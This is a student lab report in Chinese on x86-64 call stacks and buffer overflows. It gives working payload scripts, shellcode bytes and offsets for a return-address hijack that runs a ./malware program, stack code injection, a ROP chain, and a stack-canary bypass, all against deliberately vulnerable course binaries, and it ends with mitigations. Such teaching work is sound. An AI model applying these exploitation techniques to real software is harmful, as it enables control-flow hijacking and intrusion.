ICS 2026 Fall ·Lab 3 AttackLab 实验报告

调用栈、缓冲区溢出与控制流安全

2026 年秋季

目录

1. 实验概述 **2**

2. 程序的调用栈 **2**
2.1 Q1：`input()` 的调用者 . . . 2
2.2 Q2：Prologue 的作用与 `rbp` 的来源 . . . 2
2.3 Q3：`rbp+8` 的内容 . . . 2
2.4 Q4：哪条汇编指令写入返回地址 . . . 3
2.5 Q5：`call`、Prologue、`leave` 与 `ret` . . . 3

3. 缓冲区溢出实验 **4**
3.1 漏洞来源与栈布局 . . . 4
3.2 20 与 32 字节测试 . . . 4
3.3 GDB 观察溢出 . . . 4

4. Payload 1：通过栈溢出执行 malware **5**
4.1 攻击思路 . . . 5
4.2 Payload 设计 . . . 5
4.3 结果 . . . 5

5. 机器码在内存中的排列 **6**

6. Payload 2：栈空间代码注入 **6**
6.1 目标函数分析 . . . 6
6.2 注入指令及编码 . . . 6
6.3 实验验证 . . . 7

7. NX 与 ASLR **7**
7.1 NX（不可执行栈） . . . 7
7.2 ASLR（地址空间布局随机化） . . . 7
7.3 PIE 与 Non-PIE . . . 8

8. Payload 3：Return-Oriented Programming **8**
8.1 目标与搜索 . . . 8
8.2 ROP 链布局 . . . 8
8.3 核心代码与结果 . . . 8

9. Payload 4：绕过 Stack Canary **9**
9.1 程序结构与漏洞 . . . 9
9.2 栈内存布局与 Canary . . . 9
9.3 绕过思路与偏移计算 . . . 10
9.4 ROP Gadget 与 Payload . . . 10
9.5 实验结果 . . . 11

10. 思考题：如何重排结构体成员以阻断攻击 **11**

11. 实验总结 **11**

1. 实验概述

本实验围绕 x86-64 程序的调用栈、缓冲区溢出与控制流安全机制展开。首先通过 GDB 观察函数调用时栈帧的建立与销毁过程，理解 `call`、Prologue、`leave` 和 `ret` 的作用；随后利用 `gets()` 引发的栈缓冲区溢出，分别实现返回地址劫持、栈空间代码注入、ROP（Return-Oriented Programming）以及 Canary 绕过。

实验环境： Ubuntu 22.04（WSL 2）、GNU GDB 12.1、x86-64、Visual Studio Code、Python 3 和 C。主要目标程序为 `dark-calc`、`dark-calc-nx`、`dark-log` 和 `malware`。

2. 程序的调用栈

2.1 Q1：`input()` 的调用者

在 `attack/` 目录下执行：

```
gdb ./dark-calc
```

在 GDB 中设置断点并查看调用链：

```
b input
run
bt
```

```
#0  0x000000000040197b in input ()
#1  0x0000000000401ad1 in main ()
```

可见，当前执行的是 `input()`，其调用者为 **`main()`**。

2.2 Q2：Prologue 的作用与 `rbp` 的来源

执行 `disas input`，函数开头三条汇编为：

```
0x401977 <+0>: push %rbp
0x401978 <+1>: mov  %rsp,%rbp
0x40197b <+4>: sub  $0x10,%rsp
```

- `push %rbp`：将调用者的旧 `rbp` 保存到栈中，`rsp` 减少 8 字节。
- `mov %rsp,%rbp`：将当前栈顶作为被调函数的栈帧基址。
- `sub $0x10,%rsp`：为局部数组分配 16 字节空间。

GDB 停在 `input+4` 时，前两条指令已经执行，第三条尚未执行。观察寄存器和内存：

```
rbp = 0x721000800fe0
rsp = 0x721000800fe0
rip = 0x40197b

0x721000800fe0: 0x0000721000800ff0
```

因此，`rbp` 指向的内存存储的是调用者 `main()` 原先的 `rbp` 值，由 `push %rbp` 压栈保存。

2.3 Q3：`rbp+8` 的内容

执行：

```
x/gx $rbp+8
disas main
```

得到：

```
0x721000800fe8: 0x0000000000401ad1
```

而 main() 相关汇编为：

```
0x401acc: call 0x401977 <input>
0x401ad1: mov  $0x0,%eax
0x401ad6: call 0x4019d7 <eval>
```

0x401ad1 正是 call input 后面下一条指令的地址，因此 **rbp+8 保存了 input() 的返回地址**。

2.4 Q4：哪条汇编指令写入返回地址

在调用指令处设置断点，单步执行：

```
b *0x401acc
run
info registers rsp rbp rip
x/gx $rsp
si
info registers rsp rbp rip
x/gx $rsp
```

状态	rsp	rbp	rip
call 前	0x721000800ff0	0x721000800ff0	0x401acc
call 后	0x721000800fe8	0x721000800ff0	0x401977

执行 call 后的栈顶：

```
0x721000800fe8: 0x0000000000401ad1
```

可知 call 同时完成两件事：将下一条指令地址压栈，并跳转到被调用函数入口。因此**写入返回地址的是 main() 中 0x401acc 处的 call 指令**。

2.5 Q5：call、Prologue、leave 与 ret

逐指令执行 Prologue，观察结果：

执行阶段	rsp	rbp
call input 后	0x...fe8	0x...ff0
push %rbp 后	0x...fe0	0x...ff0
mov %rsp,%rbp 后	0x...fe0	0x...fe0
sub $0x10,%rsp 后	0x...fd0	0x...fe0

在 input() 结尾发现：

```
0x4019d5: leave
0x4019d6: ret
```

在 leave 前设断点，并以 si 逐指令执行：

执行阶段	rsp	rbp	rip
leave 前	0x...fd0	0x...fe0	0x4019d5
leave 后	0x...fe8	0x...ff0	0x4019d6
ret 后	0x...ff0	0x...ff0	0x401ad1

leave 等价于：

```
mov %rbp,%rsp
pop %rbp
```

它释放当前函数的局部栈空间并恢复调用者的栈帧基址。ret 从栈顶弹出返回地址，将其加载到 rip，使 CPU 回到 main()。整个调用/返回过程为：

```
call 保存返回地址 → Prologue 建立栈帧
→ 执行函数体 → leave 恢复栈帧 → ret 恢复控制流
```

3. 缓冲区溢出实验

3.1 漏洞来源与栈布局

dark-calc 中使用：

```
char expression[16];
gets(expression);
```

gets() 不检查输入长度。输入超过数组容量后，数据会继续写到数组末尾之外，形成 Stack-based Buffer Overflow。GDB 测得的栈布局为：

相对 rbp 地址	数据
rbp-0x10 至 rbp-1	expression[16]
rbp 至 rbp+7	保存的旧 rbp
rbp+8 至 rbp+15	返回地址

3.2 20 与 32 字节测试

输入 20 个 ASCII 字符 A 时，程序输出计算结果 0 后继续等待输入，没有立即崩溃。输入 32 个 A 时，出现：

```
Segmentation fault (core dumped)
```

gets() 还会额外添加字符串结束符 \0，因此两次写入的数据量分别为 21 和 33 字节。

3.3 GDB 观察溢出

在 gets() 返回之后设置断点：

```
b *0x40199f
run
x/40bx $rbp-0x10
x/4gx $rbp-0x10
```

20 个 A 的结果：

```
0x...fd0: 0x4141414141414141
0x...fd8: 0x4141414141414141
0x...fe0: 0x0000720041414141
0x...fe8: 0x0000000000401ad1
```

前 16 字节填满数组；之后 4 个 `A` 与结尾的 `\0` 覆盖旧 `rbp` 的一部分，但返回地址保持为 `0x401ad1`。

32 个 `A` 的结果：

```
0x...fd0: 0x4141414141414141
0x...fd8: 0x4141414141414141
0x...fe0: 0x4141414141414141
0x...fe8: 0x4141414141414141
0x...ff0: 0x0000000000000000
```

此时保存的旧 `rbp` 和返回地址均已被覆盖。`0x4141414141414141` 不是有效的程序返回地址，因而引发异常。

结论：缓冲区溢出不仅破坏局部数据，还可能改变栈上的控制信息，从而影响后续 `ret` 所恢复的程序控制流。

4. Payload 1：通过栈溢出执行 malware

4.1 攻击思路

本任务利用 `input()` 中的 `strcpy()` 将输入字符串复制到全局缓冲区 `0x6030d0`，再修改函数返回地址，使 CPU 直接进入 `eval()` 内部的命令执行片段：

```
0x401a6b: mov  $0x6030d0,%edi
0x401a70: call 0x4017e0 <system@plt>
```

x86-64 System V ABI 中第一个指针参数通过 `rdi` 传递，因此这段代码会将全局缓冲区中的字符串作为参数传给 `system()`。

4.2 Payload 设计

将输入构造成 `./malware\x00`、填充字节和目标返回地址。`gets()` 可以读取 `\x00` 字节，而 `strcpy()` 在此处停止复制，因此既能形成合法命令，也能继续构造溢出部分。

```
command = b"./malware\x00"
padding = b"A" * (24 - len(command))
return_address = (0x401A6B).to_bytes(8, "little")
payload = command + padding + return_address
```

保存的返回地址位于输入缓冲区起点后第 24 字节；目标地址使用 8 字节小端序写入。程序执行 `ret` 后跳转至 `0x401a6b`。

4.3 结果

运行：

```
python3 ../payload.py | ./dark-calc
```

输出包含：

```
### The bomb was triggered by the dark-calc process. ###
### You have successfully detonated the bomb! Congratulations! ###
```

随后出现 `Bus error (core dumped)`。这说明攻击目标已经执行，但没有构造完整的后续控制流，程序未正常结束。

5. 机器码在内存中的排列

在 GDB 中执行：

```
disas /r main
x/16xb 0x401ac3
```

前三条指令的汇编、机器码及地址区间：

汇编指令	机器码	内存区间
`push %rbp`	`55`	`0x401ac3`
`mov %rsp,%rbp`	`48 89 e5`	`0x401ac4–0x401ac6`
`mov $0,%eax`	`b8 00 00 00 00`	`0x401ac7–0x401acb`

内存中的连续字节排列为：

```
地址           字节
0x401ac3     55
0x401ac4     48
0x401ac5     89
0x401ac6     e5
0x401ac7     b8
0x401ac8     00
0x401ac9     00
0x401aca     00
0x401acb     00
```

三条指令分别占用 1、3 和 5 字节。可见 x86-64 使用变长指令编码，指令间不需要额外的分隔符，CPU 根据当前指令编码确定长度并前进到下一条指令。

6. Payload 2：栈空间代码注入

6.1 目标函数分析

`dark-calc` 中 `grade_eval()` 的入口地址为 `0x401a87`。关键汇编为：

```
mov  %edi,-0x4(%rbp)
cmpl $0x4,-0x4(%rbp)
jne  0x401ab1
mov  $0x45,%eax
sub  -0x4(%rbp),%eax
mov  %eax,%esi
call printf@plt
```

仅当参数为 4 时进入打印分支：`0x45 - 4 = 0x41`，即字符 `A`。所以目标为 `grade_eval(4)`。

6.2 注入指令及编码

设计的汇编如下：

```
mov  $4,%edi
mov  $0x401a87,%eax
call *%rax
```

对应机器码：

```
bf 04 00 00 00
b8 87 1a 40 00
ff d0
```

共计 12 字节。后接 4 字节 NOP，组成 16 字节的数组内容，再覆盖保存的旧 `rbp` 和返回地址。GDB 环境下测得局部数组起始地址为 `0x721000800fd0`，故将保存的返回地址改写为这一位置。

6.3 实验验证

```
python3 ../payload_dark.py > /tmp/dark-payload.bin
gdb ./dark-calc
```

在 GDB 中：

```
run < /tmp/dark-payload.bin
```

程序成功输出：

```
Hope A will be your grade!
```

随后发生 `SIGSEGV`，停止位置 `0x721000800fde`。该地址相对于注入代码起点偏移 `0xe`，说明目标函数执行后控制流继续进入注入区域中的非预期位置。实验成功验证了在允许栈执行的环境中，通过栈缓冲区溢出控制 `rip` 并执行自行写入的机器码。

7. NX 与 ASLR

7.1 NX（不可执行栈）

操作系统通常对内存页面设置读、写、执行权限。调用栈一般可读、可写，但不可执行。因此即使攻击者能把机器码写入栈，也不能直接让 CPU 把其作为指令执行。这类保护通常称为 NX（No-eXecute）。

7.2 ASLR（地址空间布局随机化）

使用 `src/aslr.c`：

```
#include <stdio.h>
int main() {
    int i = 42;
    printf("%p\n", &i);
    return 0;
}
```

编译并连续运行：

```
cc -o aslr ../src/aslr.c
./aslr
./aslr
./aslr
```

得到：

```
0x7fff815137c4
0x7fffdac549f4
0x7fff3f2e85e4
```

同一个局部变量在不同进程中具有不同地址，说明 ASLR 会在进程启动时随机化栈等内存区域的布局。局部变量相对于 `rbp` 的偏移仍通常保持固定，但其绝对地址会变化。因此硬编码栈地址的代码注入方案不再稳定。

7.3 PIE 与 Non-PIE

实验程序是 Non-PIE，其代码段地址不随进程启动而随机偏移。即使栈地址随机化，仍可以利用代码段中固定地址的指令片段实施 ROP。

8. Payload 3：Return-Oriented Programming

8.1 目标与搜索

`dark-calc-nx` 使用不可执行栈和栈地址随机化。因此本题不直接执行栈上的机器码，而是通过已有代码片段实现 `grade_eval(4)`。

使用：

```
objdump -d -M intel ./dark-calc-nx
```

在 `__libc_csu_init` 末尾找到：

```
0x401a30: pop r14
0x401a32: pop r15
0x401a34: ret
```

`pop r15` 的机器码为 `41 5f`。其中 `41` 是 REX 前缀；从第二个字节 `0x401a33` 开始解码时，`5f c3` 对应：

```
pop rdi
ret
```

这说明 ROP Gadget 可以从一条正常机器指令的中间开始。

8.2 ROP 链布局

在 `dark-calc-nx` 中，`grade_eval` 的入口是 `0x401978`。

输入偏移	内容	作用
0–23	填充数据	到达保存的返回地址
24–31	`0x401a33`	`pop rdi; ret`
32–39	`4`	设置 `rdi=4`
40–47	`0x401a34`	单独 `ret`，调整栈对齐
48–55	`0x401978`	进入 `grade_eval()`

ROP 链使用小端序 64 位地址。额外插入一个 `ret`，用于使调用目标函数时的栈对齐符合 x86-64 System V ABI 要求。

8.3 核心代码与结果

```
POP_RDI_RET = 0x401A33
RET = 0x401A34
GRADE_EVAL = 0x401978
padding = b"1\x00" + b"A" * 22
rop_chain = (
    p64(POP_RDI_RET) + p64(4)
    + p64(RET) + p64(GRADE_EVAL)
)
payload = padding + rop_chain
```

执行:

```
python3 ../payload_rop.py | ./dark-calc-nx
```

输出包含:

```
Hope A will be your grade!
Segmentation fault (core dumped)
```

目标函数成功执行。最终段错误与后续返回链未完整安排有关。ROP 的关键在于：不执行新注入的机器码，而是通过栈上的地址序列重新组合已有的可执行指令。

9. Payload 4：绕过 Stack Canary

9.1 程序结构与漏洞

`dark-log.c` 定义:

```
struct log_frame {
    char expression[128];
    char logMsg[128];
    int len;
    char pad[8];
};
```

`input()` 中存在:

```
f.len = 0;
if (gets(f.expression) == NULL) return;
memcpy(f.logMsg + f.len,
       f.expression,
       sizeof(f.expression));
```

`gets()` 不检查输入长度，而 `memcpy()` 的目标地址由可被覆盖的 `f.len` 控制。

9.2 栈内存布局与 Canary

`input()` 的反汇编包含:

```
sub  $0x120,%rsp
mov  %fs:0x28,%rax
mov  %rax,-0x8(%rbp)
movl $0x0,-0x20(%rbp)
lea  -0x120(%rbp),%rax
```

相对 rbp 的偏移	内容
-0x120	expression[128]
-0xa0	logMsg[128]
-0x20	len
-0x1c	pad[8]
-0x14 至 -0x9	对齐空间
-0x8	Canary
0	保存的旧 rbp
+0x8	保存的返回地址

函数返回前进行 Canary 比较，若值被破坏则调用 `__stack_chk_fail()`。因此直接将 `gets()` 的输入一直写到返回地址，会触发保护机制。

9.3 绕过思路与偏移计算

反汇编显示 `memcpy()` 目标地址计算为：

```
mov  -0x20(%rbp),%eax
cltq
lea  -0x120(%rbp),%rdx
sub  $0xffffffffffffff80,%rdx
add  %rdx,%rax
```

相当于：

```
destination = rbp - 0xa0 + f.len
```

为了使目标地址指向返回地址 `rbp+8`，令：

```
rbp - 0xa0 + f.len = rbp + 0x8
f.len = 0xa8 = 168
```

利用 `gets()` 连续写入 128 字节 `expression`、128 字节 `logMsg` 和 4 字节 `len`，即可把 `len` 改为 168，而此时尚未触碰 `rbp-0x8` 处的 Canary。之后程序正常运行 `memcpy()`，将 `expression` 中的 ROP 链直接复制到返回地址开始的位置，绕过 Canary 所在区域。

9.4 ROP Gadget 与 Payload

在 `dark-log` 的 `__libc_csu_init` 末尾：

```
0x4018a2: pop %r15
0x4018a4: ret
```

从 `0x4018a3` 开始读取指令，可得到 `pop rdi; ret`。目标函数 `grade_eval()` 的入口为 `0x401677`。

```
POP_RDI_RET = 0x4018A3
RET = 0x4018A4
GRADE_EVAL = 0x401677
rop_chain = (
    p64(POP_RDI_RET) + p64(4)
    + p64(RET) + p64(GRADE_EVAL)
)
expression = rop_chain.ljust(128, b"A")
log_msg = b"B" * 128
```

```
new_len = struct.pack("<i", 168)
payload = expression + log_msg + new_len
```

Payload 总长度为 128+128+4=260 字节。gets() 附加的 \0 落入 pad 区域，而非 Canary 区域。

9.5 实验结果

```
python3 ../payload_canary.py | ./dark-log
```

输出：

```
Enter a log message:

Hope A will be your grade!
Segmentation fault (core dumped)
```

程序成功执行目标函数，没有因 Canary 校验失败而提前终止。说明篡改 len 后，程序自身的复制操作可以绕过 Canary，并改变返回地址。最后的段错误来自没有完整构造后续控制流。

10. 思考题：如何重排结构体成员以阻断攻击

原始结构体中 len 在 expression 的高地址方向，因而可以被 gets() 从 expression 起点向高地址的连续越界写入覆盖。len 又控制 memcpy() 的目标位置，形成间接覆盖返回地址的利用路径。

可以调整成员的顺序，例如：

```
struct log_frame {
    int len;
    char pad[8];
    char logMsg[128];
    char expression[128];
};
```

此时 len 位于 expression 的低地址方向，expression 则位于结构体成员的末尾。由于本题的连续越界写入沿高地址方向进行，便无法沿相同路径修改位于其前面的 len，从而阻断：

```
gets 溢出 → 篡改 len → 改变 memcpy 目标地址
→ 绕过 Canary → 覆盖返回地址
```

但是，这种重排仅能降低**这一特定利用路径**的可行性，并不能修复 gets() 的根本漏洞。输入仍有可能越界、破坏其他数据或触发 Canary。更可靠的措施是：改用 fgets() 等长度受限的输入函数、验证所有指针偏移和复制长度，并保留 Stack Protector、NX、ASLR 等多层保护机制。

11. 实验总结

本次 AttackLab 从函数调用栈出发，逐步分析了缓冲区溢出的机理以及不同保护条件下的利用方式：

1. 通过 GDB 逐指令观察 call、Prologue、leave 和 ret，理解栈帧创建、返回地址保存与控制流恢复。
2. 通过 20/32 字节输入与栈内存检查，确认 gets() 可以破坏旧 rbp 乃至返回地址。
3. 构造第一个 Payload，跳转至已有的 system() 调用序列，执行 ./malware。
4. 将自行编写的机器码写入可执行栈，实现 grade_eval(4)。
5. 利用变长指令编码提取 pop rdi; ret Gadget，在 NX 与 ASLR 条件下使用 ROP 完成同样目标。
6. 修改 len 使 memcpy() 间接覆盖返回地址，从而实现 Canary 绕过。

四个攻击任务均已成功产生实验指定的目标输出。部分程序随后异常退出，本报告如实记录这一现象；成功输出不代表后续控制流已经安全或正常地结束。

实验说明了程序控制流在底层如何依赖栈上的保存信息，以及内存权限、地址随机化与栈保护分别如何提高漏洞利用难度。与此同时，输入检查、边界约束以及数据布局本身仍是构建安全程序不可忽视的部分。

12. 参考资料

1. ICS 2026 Fall FDU，Lab 3: AttackLab 实验说明。
2. Randal E. Bryant、David R. O’Hallaron，Computer Systems: A Programmer’s Perspective, Third Edition。
3. CMU CS:APP，Attack Lab。
4. GNU Project，Debugging with GDB。
5. System V Application Binary Interface，AMD64 Architecture Processor Supplement。
6. GNU Bash Reference Manual，Arithmetic Expansion。